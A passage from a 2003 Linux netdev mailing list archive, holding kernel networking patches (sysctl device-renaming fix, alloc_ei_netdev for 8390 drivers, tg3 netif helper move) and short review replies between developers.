t->devinet_dev[0].procname = dev_name; t->devinet_dev[0].child = t->devinet_vars; t->devinet_dev[0].de = NULL; t->devinet_conf_dir[0].child = t->devinet_dev; @@ -1327,9 +1353,17 @@ t->sysctl_header = register_sysctl_table(t->devinet_root_dir, 0); if (!t->sysctl_header) - kfree(t); - else - p->sysctl = t; + goto free_procname; + + p->sysctl = t; + return; + + /* error path */ + free_procname: + kfree(dev_name); + free: + kfree(t); + return; } static void devinet_sysctl_unregister(struct ipv4_devconf *p) @@ -1338,6 +1372,7 @@ struct devinet_sysctl_table *t = p->sysctl; p->sysctl = NULL; unregister_sysctl_table(t->sysctl_header); + kfree(t->devinet_dev[0].procname); kfree(t); } } =================================================================== This BitKeeper patch contains the following changesets: + ## Wrapped with gzip_uu ## M'XL( #Q]2S\ [56^V_;-A#^V?PK;@VP/&K+>EB*;,-!NC3IC*9)D+08AK8P M:(FV5ECQ8I--FR1O#M^W]WIHP[@G6*RUXAIZY$N;;OX\9U3S_:#K1/8G=-MY,2.0SL.BVVW$P8=LDHXW;1D M=,ZISB138J(-C_?5+A^?1O3LT/4S;3!I.B_3 \\=:-GD%_AO25R0"!XV*M(I4*6R!5.0: 4X'FDZ M3IFUE"+B=,%@DK TA@37!%>Z">-,@YXQP (SU0FX5-8BH1_W5\+B-FJ=68& M%OPV8QPDPX'QPABTBF*LDHA!ILS*P_#VXF%X=?/BS65SYV]@+$2<(*88*(]- M )6S.%0%CZ5.!(>Q9'2NFA#1(IJ>H>.8S>@J$9EL M60,HI-B/[X!2Q(&0?6 M(DMC?JC1' P1@U^RA5BQG+6A!8QKN8&UH5)F(K]* I+]D3&%R4!/#))QR::) MTDRR&+/'#"8DHHN=C$7E7V%EF)(U%'PQY8S&(";YO$ 'P9F5>[C6#DV"]9L( M64)0!C%-.*P3/:L=\X!T@D#J'?-"E.'PYZU)4Y1W$NXLC6..HTAP$Y9I9@"VOC"HB[E+;;E+HDJH ML554+$+K!]GQ$D,.[5<4CDPGZZ/K8 $*R-F?)=#;&PEN1Z:4(&ZZ9 M=T^R7 5 )68E50)Q4<[+'5Z#[W>['7*W$Q+2^I<7(3:UR=EW'EP$TT8.'5.G,PG=;CQ^(A+?B&*D)W!\S[:[6S?PPDXN MC5_:?E\C?Q0E^42Y)21=L>@\P$"6FG\;JX._G< _W7;PQL]ETG4^%TF[^U61 M[-C0\O\7E;S?=>I^'_]3CYH.O4,Y0G'+GX?RZ#B]N9J^&KT\/O#Q=MKTFB4L4<%I]%. MJXY^3O@HU]V(3X[[7YK6AH5=$SYS.& <=9H,\: [A9 HC1(2&7&1<**TC+/E M43DX)G^21G$O5S" ^2*7G".T2AD_4L?/G2:\NKH;O;Z\O[F\-F"2"1S)U3&B M0J-HN<%!$Y19D0S/9$SPJD_^0MI#Q[,]<*KXB&^45V$ -^^NK_MFW7%P_0-Y MB7?&>&SS#)-$OULR)T"(Z)W6B? &G ";RA<[;7 M%)7C[E@XK,_-PZ*AIE3&YJPKC]\BS'A3-:%1L37;'5IKBM),^08/":/*E99K M/(5B[%_40)@PU#(3Y4@QMG_.'EMFNMT@^X3*4E4S5?)_JB?0!Z^IP-TFDK&^ MH:M;9U6WX/][^^/N;0"O0"99'FN2=;3:*/*+P^[;)V5M >@ZUKW MRP0S*5'VE_C<(PGRU+U'&G,SL<\CMZ@7]/%>0$2#>F)*6RY^DP]ZU2^AT8Q% 5; Mon, 1 Sep 2003 09:50:38 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id JAA09505; Mon, 1 Sep 2003 09:41:27 -0700 Date: Mon, 1 Sep 2003 09:41:27 -0700 From: "David S. Miller" To: Dan Aloni Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH 2.6] repost, fix sysctl breakage during network device renaming, for ipv4 Message-Id: <20030901094127.6a0f6878.davem@redhat.com> In-Reply-To: <20030901164624.GA26886@callisto.yi.org> References: <20030901164624.GA26886@callisto.yi.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5478 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 257 Lines: 8 On Mon, 1 Sep 2003 19:46:24 +0300 Dan Aloni wrote: > Can you please take a look and comment? I commented already and I said "putting a private copy of a generic function like strdup() in the middle of the networking code is inappropriate." From da-x@gmx.net Mon Sep 1 09:56:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 09:56:46 -0700 (PDT) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81GuCWZ028189 for ; Mon, 1 Sep 2003 09:56:13 -0700 Received: (qmail 12374 invoked by uid 65534); 1 Sep 2003 16:56:04 -0000 Received: from bzq-234-149.red.bezeqint.net (HELO callisto.yi.org) (212.179.234.149) by mail.gmx.net (mp016) with SMTP; 01 Sep 2003 18:56:04 +0200 Date: Mon, 1 Sep 2003 19:55:59 +0300 From: Dan Aloni To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH 2.6] repost, fix sysctl breakage during network device renaming, for ipv4 Message-ID: <20030901165559.GA27099@callisto.yi.org> References: <20030901164624.GA26886@callisto.yi.org> <20030901094127.6a0f6878.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030901094127.6a0f6878.davem@redhat.com> User-Agent: Mutt/1.5.4i X-archive-position: 5479 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: da-x@gmx.net Precedence: bulk X-list: netdev Content-Length: 592 Lines: 19 On Mon, Sep 01, 2003 at 09:41:27AM -0700, David S. Miller wrote: > On Mon, 1 Sep 2003 19:46:24 +0300 > Dan Aloni wrote: > > > Can you please take a look and comment? > > I commented already and I said "putting a private copy > of a generic function like strdup() in the middle of > the networking code is inappropriate." For some unknown reason I didn't get that response. The private copy of strdup() is something that I'd also wouldn't want, but I don't have much choice. Please read a recent thread in lkml regarding strdup() consolidation. -- Dan Aloni da-x@gmx.net From garzik@gtf.org Mon Sep 1 10:57:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 10:57:38 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81Hv2WZ031657 for ; Mon, 1 Sep 2003 10:57:03 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id 8B8E9665E; Mon, 1 Sep 2003 13:56:57 -0400 (EDT) Date: Mon, 1 Sep 2003 13:56:57 -0400 From: Jeff Garzik To: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: [patch 2/2][fyi] alloc_ei_netdev() example: ne2k-pci Message-ID: <20030901175657.GA31874@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 5481 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 2091 Lines: 72 # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1120 -> 1.1121 # drivers/net/ne2k-pci.c 1.9 -> 1.10 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/01 jgarzik@redhat.com 1.1121 # [netdrvr ne2k-pci] allocate netdev+8390 struct using new alloc_ei_netdev() # # Also, call pci_disable_device() in PCI ->remove handler, # to match pci_enable_device() in PCI ->probe handler. # -------------------------------------------- # diff -Nru a/drivers/net/ne2k-pci.c b/drivers/net/ne2k-pci.c --- a/drivers/net/ne2k-pci.c Mon Sep 1 13:48:30 2003 +++ b/drivers/net/ne2k-pci.c Mon Sep 1 13:48:30 2003 @@ -259,7 +259,8 @@ } } - dev = alloc_etherdev(0); + /* Allocate net_device, dev->priv; fill in 8390 specific dev fields. */ + dev = alloc_ei_netdev(); if (!dev) { printk (KERN_ERR PFX "cannot allocate ethernet device\n"); goto err_out_free_res; @@ -330,13 +331,6 @@ dev->base_addr = ioaddr; pci_set_drvdata(pdev, dev); - /* Allocate dev->priv and fill in 8390 specific dev fields. */ - if (ethdev_init(dev)) { - printk (KERN_ERR "ne2kpci(%s): unable to get memory for dev->priv.\n", - pdev->slot_name); - goto err_out_free_netdev; - } - ei_status.name = pci_clone_list[chip_idx].name; ei_status.tx_start_page = start_page; ei_status.stop_page = stop_page; @@ -365,7 +359,7 @@ i = register_netdev(dev); if (i) - goto err_out_free_8390; + goto err_out_free_netdev; printk("%s: %s found at %#lx, IRQ %d, ", dev->name, pci_clone_list[chip_idx].name, ioaddr, dev->irq); @@ -376,8 +370,6 @@ return 0; -err_out_free_8390: - kfree(dev->priv); err_out_free_netdev: kfree (dev); err_out_free_res: @@ -634,7 +626,7 @@ unregister_netdev(dev); release_region(dev->base_addr, NE_IO_EXTENT); - kfree(dev->priv); + pci_disable_device(pdev); kfree(dev); pci_set_drvdata(pdev, NULL); } From garzik@gtf.org Mon Sep 1 10:56:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 10:57:02 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81HuQWZ031592 for ; Mon, 1 Sep 2003 10:56:27 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id 21E8B665E; Mon, 1 Sep 2003 13:56:21 -0400 (EDT) Date: Mon, 1 Sep 2003 13:56:21 -0400 From: Jeff Garzik To: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: [patch 1/2][fyi] alloc_ei_netdev() function for 8390 devices Message-ID: <20030901175621.GA31452@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 5480 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 3381 Lines: 131 I've just checked this into my 2.4 and 2.5 net-driver queues. Most 8390-based (ne2000) drivers use a helper lib, drivers/net/8390.c. This lib has been taking care of the chore of allocating and managing dev->priv, which is a common struct ei_device shared across all 8390 drivers. For such drivers, I've created alloc_ei_netdev(), which is intended to replace dev = alloc_etherdev(...); if (!dev) ... ... if (ethdev_init(dev)) /* 8390-specific */ ... ... with dev = alloc_ei_netdev(); if (!dev) ... ... The patch below is the API change I checked in. The patch that follows in the next email is an example conversion -- drivers/net/ne2k-pci.c. Jeff # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1119 -> 1.1120 # drivers/net/8390.c 1.8 -> 1.9 # drivers/net/8390.h 1.6 -> 1.7 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/01 jgarzik@redhat.com 1.1120 # [netdrvr 8390] new function alloc_ei_netdev() # # (preferred over alloc_etherdev + 8390-specific ethdev_init) # -------------------------------------------- # diff -Nru a/drivers/net/8390.c b/drivers/net/8390.c --- a/drivers/net/8390.c Mon Sep 1 13:48:26 2003 +++ b/drivers/net/8390.c Mon Sep 1 13:48:26 2003 @@ -1000,6 +1000,11 @@ spin_unlock_irqrestore(&ei_local->page_lock, flags); } +static inline void ei_device_init(struct ei_device *ei_local) +{ + spin_lock_init(&ei_local->page_lock); +} + /** * ethdev_init - init rest of 8390 device struct * @dev: network device structure to init @@ -1015,14 +1020,11 @@ if (dev->priv == NULL) { - struct ei_device *ei_local; - dev->priv = kmalloc(sizeof(struct ei_device), GFP_KERNEL); if (dev->priv == NULL) return -ENOMEM; memset(dev->priv, 0, sizeof(struct ei_device)); - ei_local = (struct ei_device *)dev->priv; - spin_lock_init(&ei_local->page_lock); + ei_device_init(dev->priv); } dev->hard_start_xmit = &ei_start_xmit; @@ -1033,6 +1035,29 @@ return 0; } + +/* wrapper to make alloc_netdev happy; probably should just cast... */ +static void __ethdev_init(struct net_device *dev) +{ + ethdev_init(dev); +} + +/** + * alloc_ei_netdev - alloc_etherdev counterpart for 8390 + * + * Allocate 8390-specific net_device. + */ +struct net_device *alloc_ei_netdev(void) +{ + struct net_device *dev; + + dev = alloc_netdev(sizeof(struct ei_device), "eth%d", __ethdev_init); + if (dev) + ei_device_init(dev->priv); + + return dev; +} + @@ -1136,6 +1161,7 @@ EXPORT_SYMBOL(ei_tx_timeout); EXPORT_SYMBOL(ethdev_init); EXPORT_SYMBOL(NS8390_init); +EXPORT_SYMBOL(alloc_ei_netdev); #if defined(MODULE) diff -Nru a/drivers/net/8390.h b/drivers/net/8390.h --- a/drivers/net/8390.h Mon Sep 1 13:48:26 2003 +++ b/drivers/net/8390.h Mon Sep 1 13:48:26 2003 @@ -50,6 +50,7 @@ extern int ei_open(struct net_device *dev); extern int ei_close(struct net_device *dev); extern void ei_interrupt(int irq, void *dev_id, struct pt_regs *regs); +extern struct net_device *alloc_ei_netdev(void); /* Most of these entries should be in 'struct net_device' (or most of the things in there should be here!) */ From jgarzik@pobox.com Mon Sep 1 11:27:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 11:28:09 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81IRYWZ002005 for ; Mon, 1 Sep 2003 11:27:35 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34058 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19tr50-0000s0-CA; Mon, 01 Sep 2003 16:58:58 +0100 Message-ID: <3F536CB7.6060404@pobox.com> Date: Mon, 01 Sep 2003 11:58:47 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com Subject: Re: The recent free_netdev() conversion... References: <3F535EBD.6090401@pobox.com> <20030901075345.4c35e3e6.davem@redhat.com> In-Reply-To: <20030901075345.4c35e3e6.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5483 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 641 Lines: 26 David S. Miller wrote: > On Mon, 01 Sep 2003 10:59:09 -0400 > Jeff Garzik wrote: > > >> err_out: >> kfree(dev); > > ... > >>The "kfree" needs to be a free_netdev() too. > > > If the 'dev' hasn't been given to register_netdev() it > really doesn't need to be free_netdev(). It's just memory > until it has been given to the device layer. True, but for long term, it's best to use free_netdev(). Besides naturally pairing with alloc_foodev(), if we ever decide to have alloc_netdev() perform more than one allocation, free_netdev() will already be in place to handle the multiple de-allocations. Jeff From garzik@gtf.org Mon Sep 1 11:27:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 11:27:48 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81IRDWZ001980 for ; Mon, 1 Sep 2003 11:27:14 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id 37D44666F; Mon, 1 Sep 2003 14:27:08 -0400 (EDT) Date: Mon, 1 Sep 2003 14:27:08 -0400 From: Jeff Garzik To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: [PATCH] move tg3 netif_* to netdevice.h Message-ID: <20030901182708.GA2084@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 5482 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 3247 Lines: 115 Ok for me to commit, and send to 2.4+2.6 upstream? I have it queued locally, but it touches stuff you've been touching lately... ===== drivers/net/tg3.c 1.82 vs edited ===== --- 1.82/drivers/net/tg3.c Tue Aug 19 23:53:17 2003 +++ edited/drivers/net/tg3.c Mon Sep 1 14:19:58 2003 @@ -237,38 +237,6 @@ tg3_cond_int(tp); } -/* these netif_xxx funcs should be moved into generic net layer */ -static void netif_poll_disable(struct net_device *dev) -{ - while (test_and_set_bit(__LINK_STATE_RX_SCHED, &dev->state)) { - current->state = TASK_INTERRUPTIBLE; - schedule_timeout(1); - } -} - -static inline void netif_poll_enable(struct net_device *dev) -{ - clear_bit(__LINK_STATE_RX_SCHED, &dev->state); -} - -/* same as netif_rx_complete, except that local_irq_save(flags) - * has already been issued - */ -static inline void __netif_rx_complete(struct net_device *dev) -{ - if (!test_bit(__LINK_STATE_RX_SCHED, &dev->state)) BUG(); - list_del(&dev->poll_list); - smp_mb__before_clear_bit(); - clear_bit(__LINK_STATE_RX_SCHED, &dev->state); -} - -static inline void netif_tx_disable(struct net_device *dev) -{ - spin_lock_bh(&dev->xmit_lock); - netif_stop_queue(dev); - spin_unlock_bh(&dev->xmit_lock); -} - static inline void tg3_netif_stop(struct tg3 *tp) { netif_poll_disable(tp->dev); ===== include/linux/netdevice.h 1.52 vs edited ===== --- 1.52/include/linux/netdevice.h Wed Aug 20 00:01:19 2003 +++ edited/include/linux/netdevice.h Mon Sep 1 14:23:06 2003 @@ -832,6 +832,38 @@ local_irq_restore(flags); } +static inline void netif_poll_disable(struct net_device *dev) +{ + while (test_and_set_bit(__LINK_STATE_RX_SCHED, &dev->state)) { + /* No hurry. */ + current->state = TASK_INTERRUPTIBLE; + schedule_timeout(1); + } +} + +static inline void netif_poll_enable(struct net_device *dev) +{ + clear_bit(__LINK_STATE_RX_SCHED, &dev->state); +} + +/* same as netif_rx_complete, except that local_irq_save(flags) + * has already been issued + */ +static inline void __netif_rx_complete(struct net_device *dev) +{ + if (!test_bit(__LINK_STATE_RX_SCHED, &dev->state)) BUG(); + list_del(&dev->poll_list); + smp_mb__before_clear_bit(); + clear_bit(__LINK_STATE_RX_SCHED, &dev->state); +} + +static inline void netif_tx_disable(struct net_device *dev) +{ + spin_lock_bh(&dev->xmit_lock); + netif_stop_queue(dev); + spin_unlock_bh(&dev->xmit_lock); +} + /* These functions live elsewhere (drivers/net/net_init.c, but related) */ extern void ether_setup(struct net_device *dev); ===== net/core/dev.c 1.95 vs edited ===== --- 1.95/net/core/dev.c Wed Aug 20 00:04:26 2003 +++ edited/net/core/dev.c Mon Sep 1 14:23:40 2003 @@ -845,11 +845,7 @@ * engine, but this requires more changes in devices. */ smp_mb__after_clear_bit(); /* Commit netif_running(). */ - while (test_bit(__LINK_STATE_RX_SCHED, &dev->state)) { - /* No hurry. */ - current->state = TASK_INTERRUPTIBLE; - schedule_timeout(1); - } + netif_poll_disable(dev); /* * Call the device specific close. This cannot fail. @@ -1657,7 +1653,7 @@ list_del(&backlog_dev->poll_list); smp_mb__before_clear_bit(); - clear_bit(__LINK_STATE_RX_SCHED, &backlog_dev->state); + netif_poll_enable(backlog_dev); if (queue->throttle) { queue->throttle = 0; From davem@pizda.ninka.net Mon Sep 1 11:38:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 11:39:24 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81IcnWZ003258 for ; Mon, 1 Sep 2003 11:38:50 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA09767; Mon, 1 Sep 2003 11:29:39 -0700 Date: Mon, 1 Sep 2003 11:29:39 -0700 From: "David S. Miller" To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: [PATCH] move tg3 netif_* to netdevice.h Message-Id: <20030901112939.02af4ddc.davem@redhat.com> In-Reply-To: <20030901182708.GA2084@gtf.org> References: <20030901182708.GA2084@gtf.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5484 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 316 Lines: 12 On Mon, 1 Sep 2003 14:27:08 -0400 Jeff Garzik wrote: > Ok for me to commit, and send to 2.4+2.6 upstream? > > I have it queued locally, but it touches stuff you've been touching > lately... Linus and Marcelo have my current work, so you should have no conflicts. Feel free to push it around. From davem@pizda.ninka.net Mon Sep 1 11:40:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 11:41:30 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81IeuWZ003688 for ; Mon, 1 Sep 2003 11:40:57 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA09781; Mon, 1 Sep 2003 11:31:43 -0700 Date: Mon, 1 Sep 2003 11:31:43 -0700 From: "David S. Miller" To: Dan Aloni Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH 2.6] repost, fix sysctl breakage during network device renaming, for ipv4 Message-Id: <20030901113143.1ba34464.davem@redhat.com> In-Reply-To: <20030901165559.GA27099@callisto.yi.org> References: <20030901164624.GA26886@callisto.yi.org> <20030901094127.6a0f6878.davem@redhat.com> <20030901165559.GA27099@callisto.yi.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5485 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 516 Lines: 14 On Mon, 1 Sep 2003 19:55:59 +0300 Dan Aloni wrote: > The private copy of strdup() is something that I'd also wouldn't > want, but I don't have much choice. Please read a recent > thread in lkml regarding strdup() consolidation. Ugh, I'm afraid to look... I guess the controversy is over the allocation function, what GFP_* flags it should use etc.? For now just call the thing in your patch netdev_name_dup() or something like that. I can't handle having something named "strdup()" in there :-) From da-x@gmx.net Mon Sep 1 11:55:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 11:56:17 -0700 (PDT) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81IthWZ004863 for ; Mon, 1 Sep 2003 11:55:43 -0700 Received: (qmail 4923 invoked by uid 65534); 1 Sep 2003 18:55:35 -0000 Received: from bzq-234-149.red.bezeqint.net (HELO callisto.yi.org) (212.179.234.149) by mail.gmx.net (mp022) with SMTP; 01 Sep 2003 20:55:35 +0200 Date: Mon, 1 Sep 2003 21:55:32 +0300 From: Dan Aloni To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH 2.6] repost, fix sysctl breakage during network device renaming, for ipv4 Message-ID: <20030901185532.GA28941@callisto.yi.org> References: <20030901164624.GA26886@callisto.yi.org> <20030901094127.6a0f6878.davem@redhat.com> <20030901165559.GA27099@callisto.yi.org> <20030901113143.1ba34464.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030901113143.1ba34464.davem@redhat.com> User-Agent: Mutt/1.5.4i X-archive-position: 5486 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: da-x@gmx.net Precedence: bulk X-list: netdev Content-Length: 900 Lines: 26 On Mon, Sep 01, 2003 at 11:31:43AM -0700, David S. Miller wrote: > On Mon, 1 Sep 2003 19:55:59 +0300 > Dan Aloni wrote: > > > The private copy of strdup() is something that I'd also wouldn't > > want, but I don't have much choice. Please read a recent > > thread in lkml regarding strdup() consolidation. > > Ugh, I'm afraid to look... I guess the controversy is > over the allocation function, what GFP_* flags it should > use etc.? Yes, this is the one reason against consolidation, though I don't know why anyone would want to call strdup() from a context other than GPF_KERNEL. Copying strings around in the kernel is done as a result of userspace interaction. > For now just call the thing in your patch netdev_name_dup() or > something like that. I can't handle having something named > "strdup()" in there :-) Sure, I'll do it and resend. -- Dan Aloni da-x@gmx.net From garzik@gtf.org Mon Sep 1 12:34:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 12:34:58 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81JYNWZ007891 for ; Mon, 1 Sep 2003 12:34:23 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id D42DF6643; Mon, 1 Sep 2003 15:34:17 -0400 (EDT) Date: Mon, 1 Sep 2003 15:34:17 -0400 From: Jeff Garzik To: netdev@oss.sgi.com, davem@redhat.com Subject: [patch 2.4][fyi] s/blog_dev/backlog_dev/ in process_backlog Message-ID: <20030901193417.GA7519@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 5488 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1735 Lines: 58 Since I was patching this area anyway... Queued locally. Patch only for 2.4.x. See BK description for more. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1126 -> 1.1127 # net/core/dev.c 1.39 -> 1.40 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/01 jgarzik@redhat.com 1.1127 # [NET] s/blog_dev/backlog_dev/ in process_backlog, net/core/dev.c # # This 100% cosmetic change reduces the diff between 2.4 and 2.5. # -------------------------------------------- # diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Mon Sep 1 15:32:25 2003 +++ b/net/core/dev.c Mon Sep 1 15:32:25 2003 @@ -1535,10 +1535,10 @@ return ret; } -static int process_backlog(struct net_device *blog_dev, int *budget) +static int process_backlog(struct net_device *backlog_dev, int *budget) { int work = 0; - int quota = min(blog_dev->quota, *budget); + int quota = min(backlog_dev->quota, *budget); int this_cpu = smp_processor_id(); struct softnet_data *queue = &softnet_data[this_cpu]; unsigned long start_time = jiffies; @@ -1575,17 +1575,17 @@ #endif } - blog_dev->quota -= work; + backlog_dev->quota -= work; *budget -= work; return -1; job_done: - blog_dev->quota -= work; + backlog_dev->quota -= work; *budget -= work; - list_del(&blog_dev->poll_list); + list_del(&backlog_dev->poll_list); smp_mb__before_clear_bit(); - netif_poll_enable(blog_dev); + netif_poll_enable(backlog_dev); if (queue->throttle) { queue->throttle = 0; From garzik@gtf.org Mon Sep 1 17:33:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 17:34:20 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h820XiWZ001128 for ; Mon, 1 Sep 2003 17:33:45 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id 3C6086645; Mon, 1 Sep 2003 20:33:39 -0400 (EDT) Date: Mon, 1 Sep 2003 20:33:39 -0400 From: Jeff Garzik To: netdev@oss.sgi.com, davem@redhat.com Subject: [patch][fyi] move ethtool_op_tx_csum Message-ID: <20030902003339.GA29156@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 5489 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Queued here for both 2.4 and 2.5. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1129 -> 1.1130 # net/core/ethtool.c 1.3 -> 1.4 # include/linux/ethtool.h 1.16 -> 1.17 # net/netsyms.c 1.41 -> 1.42 # drivers/net/8139cp.c 1.43 -> 1.44 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/01 jgarzik@redhat.com 1.1130 # [NET] move ethtool_op_set_tx_csum from 8139cp drvr to net/core/ethtool.c, # where it belongs. # -------------------------------------------- # diff -Nru a/drivers/net/8139cp.c b/drivers/net/8139cp.c --- a/drivers/net/8139cp.c Mon Sep 1 20:32:14 2003 +++ b/drivers/net/8139cp.c Mon Sep 1 20:32:14 2003 @@ -1405,17 +1405,6 @@ return 0; } -/* move this to net/core/ethtool.c */ -static int ethtool_op_set_tx_csum(struct net_device *dev, u32 